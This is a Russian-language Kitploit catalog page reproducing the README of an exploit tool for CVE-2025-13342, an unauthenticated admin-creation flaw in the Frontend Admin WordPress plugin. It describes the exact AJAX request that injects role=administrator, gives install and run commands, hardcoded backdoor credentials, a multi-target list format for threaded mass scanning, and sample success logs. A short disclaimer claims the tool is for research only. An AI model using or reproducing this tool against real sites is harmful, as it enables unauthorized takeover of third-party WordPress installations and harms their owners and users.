Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-13342 — Frontend Admin от DynamiApps <= 3.28.20 - Неаутентифицированное произвольное обновление опций | Kitploit
Инструменты/GitHubGitHub/nxploited/cve-2025-13342
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHubnxploited/cve-2025-13342

CVE-2025-13342

Frontend Admin от DynamiApps <= 3.28.20 - Неаутентифицированное произвольное обновление опций

Репозиторий
76 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-13342

Frontend Admin от DynamiApps <= 3.28.20 — Неаутентифицированное произвольное обновление опций

⚡ CVE-2025-13342

Frontend Admin от DynamiApps — Неаутентифицированное создание администратора

   __         __    _  _  _  ___    ,________     _
  / ()(|  |_// ()  / )/ \/ )|__    /| __/ __/|  |/ )
 |     |  |  >- ----/|   |/    \----|   \   \|__|_/
  \___/ \/   \___/ /__\_//__\__/    |\__/\__/   |/__

CVE CVSS Plugin Auth Python


◈ Уязвимость

ПолеДетали
CVE IDCVE-2025-13342
Оценка9.8 КРИТИЧЕСКАЯ — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
ЗатронутоFrontend Admin от DynamiApps ≤ 3.28.20
АутентификацияНет — полностью неаутентифицировано
ТипНедостаточная проверка прав + проверка ввода → Произвольная запись опций
CWECWE-284 · Некорректный контроль доступа

Что происходит:
ActionOptions::run() обработчик сохранения не проверяет права пользователя и не проверяет ввод перед записью в wp_options. Публичная форма ACF frontend становится открытым каналом для записи. Злоумышленник устанавливает users_can_register=1 и default_role=administrator, затем регистрирует новую учетную запись, которая автоматически получает роль администратора.

Этот инструмент пропускает двухшаговый подход — он напрямую отправляет сформированную полезную нагрузку формы с role=administrator, вставленным в поля создания пользователя через acff[user][field_*], создавая учетную запись администратора за один AJAX-вызов.


◈ Как работает эксплойт

1. Crawl common registration paths  →  locate ACF frontend form
2. Parse hidden fields               →  _acf_nonce, _acf_form
3. Map user fields                   →  username · email · password · role
4. POST /wp-admin/admin-ajax.php
   action=frontend_admin/form_submit
   acff[user][<role_field>] = administrator
5. {"success":true}  →  admin account created
6. Log to acf_success.txt

◈ Требования

requests
beautifulsoup4
colorama
rich
pip install requests beautifulsoup4 colorama rich

◈ Установка и запуск

git clone https://github.com/Nxploited/CVE-2025-13342.git
cd CVE-2025-13342
pip install -r requirements.txt
python3 CVE-2025-13342.py

◈ Использование

Инструмент интерактивный. Вам будет задано четыре вопроса:

Targets file path    →  list.txt
Threads              →  10
Timeout (seconds)    →  10
Verbose debug        →  y / N

Учетные данные фиксированы внутри:

ПолеЗначение
Имя пользователяNxadmin1
Email[email protected]
ПарольNxAdmin_1337#KSA

◈ Файл с целями

Один хост на строку — схема необязательна:

https://target1.com
target2.com
http://target3.com

◈ Сканируемые пути регистрации

Инструмент проверяет 28 путей для каждой цели по порядку, останавливаясь на первой валидной форме ACF:

/  /register/  /registration/  /signup/  /sign-up/
/user-registration/  /account/  /my-account/
/frontend-form/  /frontend-register/  ...

◈ Вывод

ФайлСодержимое
acf_success.txtПодтвержденные успешные создания администратора

Формат:

[2025-06-01 14:30:22] BASE=https://target.com FORM=https://target.com/register/
USER=Nxadmin1 [email protected] PASS=NxAdmin_1337#KSA JSON={"success":true,...}

Терминал:

[+] Target base:  https://target.com
[+] Found form at: https://target.com/register/
    _acf_nonce:  a1b2c3d4e5
    _acf_form:   123
[+] SUCCESS:  https://target.com

[-] No suitable ACF Frontend form found on ...
[-] FAILED: https://target2.com

◈ Контакты

АвторNxploited (Khaled Alenazi)
GitHubgithub.com/Nxploited
Telegram@KNxploited

◈ Отказ от ответственности

Этот инструмент предоставляется только для авторизованных исследований в области безопасности и образовательных целей.
Автор не несет никакой ответственности за любое использование против систем без явного письменного разрешения владельца.
Несанкционированный доступ незаконен в соответствии с CFAA, CMA и аналогичными законами по всему миру.
Вы несете полную ответственность за свои действия.


© 2025 Nxploited · Frontend Admin от DynamiApps ≤ 3.28.20 · Исправлено в 3.28.21
Скачать инструмент